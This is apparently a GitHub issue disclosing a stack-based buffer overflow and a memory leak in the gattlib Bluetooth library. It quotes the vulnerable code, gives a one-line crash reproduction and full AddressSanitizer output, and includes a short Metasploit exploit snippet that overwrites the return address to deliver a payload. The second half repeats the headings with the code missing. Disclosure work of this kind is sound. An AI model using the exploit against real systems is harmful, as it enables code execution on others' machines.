While fuzzing gattlib using clang 6.0 with ASAN a stack-based buffer-overflow was observed in gattlib.c and discover.c
Vulnerable code from gattlib.c
// Transform string from 'DA:94:40:95:E0:87' to 'dev_DA_94_40_95_E0_87'strncpy(device_address_str, dst, sizeof(device_address_str));
for (i = 0; i < strlen(device_address_str); i++) {
if (device_address_str[i] == ':') {
device_address_str[i] = '_';
}
}
Vulnerable code from discover.c
if (argc != 2) {
printf("%s <device_address>\n", argv[0]);
return1;
}
connection = gattlib_connect(NULL, argv[1], BDADDR_LE_PUBLIC, BT_SEC_LOW, 0, 0);
if (connection == NULL) {
fprintf(stderr, "Fail to connect to the bluetooth device.\n");
return1;
}
Also, I have figured a simple way to reproduce this rather than using AFL poc in this case.
./discover `python -c 'print "A"*20'`
ASAN
==31499==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffc99cec2d4 at pc 0x00000044de04 bp 0x7ffc99cec270 sp 0x7ffc99ceba20
READ of size 21 at 0x7ffc99cec2d4 thread T0
#00x44de03 in __interceptor_strlen.part.30 (/home/zero/gattlib/build/examples/discover/discover+0x44de03)
#10x7f149e22069e in gattlib_connect /home/zero/gattlib/dbus/gattlib.c:224:18
#20x50bf48 in main /home/zero/gattlib/examples/discover/discover.c:43:15
#30x7f149c6d6b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310
#40x41c959 in _start (/home/zero/gattlib/build/examples/discover/discover+0x41c959)
Address 0x7ffc99cec2d4 is located in stack of thread T0 at offset 84 in frame
#00x7f149e22056f in gattlib_connect /home/zero/gattlib/dbus/gattlib.c:209
This frame has 3object(s):
[32, 40) 'error'
[64, 84) 'device_address_str' <== Memory access at offset 84 overflows this variable
[128, 228) 'object_path'
HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow (/home/zero/gattlib/build/examples/discover/discover+0x44de03) in __interceptor_strlen.part.30
Shadow bytes around the buggy address:
0x100013395800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100013395810: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100013395820: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100013395830: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100013395840: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x100013395850: f1 f1 f1 f1 00 f2 f2 f2 00 00[04]f2 f2 f2 f2 f2
0x100013395860: 00 00 00 00 00 00 00 00 00 00 00 00 04 f3 f3 f3
0x100013395870: f3 f3 f3 f3 00 00 00 00 00 00 00 00 00 00 00 00
0x100013395880: 00 00 00 00 00 00 00 00 00 00 00 00 f1 f1 f1 f1
0x100013395890: 00 f2 f2 f2 00 f2 f2 f2 04 f2 04 f2 00 00 00 00
0x1000133958a0: 06 f3 f3 f3 f3 f3 f3 f3 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==31499==ABORTING
I have also written a quick MSF module for this specifically the exploit() part
defexploitconnectprint_status("Sending #{payload.encoded.length} byte payload...")# Building the buffer for transmissionbuf="A" * 20buf += [target.ret].pack('V')buf += payload.encodedsock.put(buf)sock.gethandlerend
In addition memory leak was also observed in this case.
==31544==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 16byte(s) in 1 object(s) allocated from:
#00x4d21b8 in calloc (/home/zero/gattlib/build/examples/discover/discover+0x4d21b8)
#10x7fe844ee2857 in gattlib_connect /home/zero/gattlib/dbus/gattlib.c:233:36
#20x50bf48 in main /home/zero/gattlib/examples/discover/discover.c:43:15
#30x7fe843398b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310
SUMMARY: AddressSanitizer: 16byte(s) leaked in 1 allocation(s).
OR to verify,
./discover `python -c 'print "A"*10'`
Request team to have a look and validate.
The text was updated successfully, but these errors were encountered:
Hi Team,
Summary
While fuzzing gattlib using clang 6.0 with ASAN a stack-based buffer-overflow was observed in gattlib.c and discover.c
Vulnerable code from gattlib.c
Vulnerable code from discover.c
Also, I have figured a simple way to reproduce this rather than using AFL poc in this case.
ASAN
I have also written a quick MSF module for this specifically the
exploit()partIn addition memory leak was also observed in this case.
OR to verify,
Request team to have a look and validate.
The text was updated successfully, but these errors were encountered: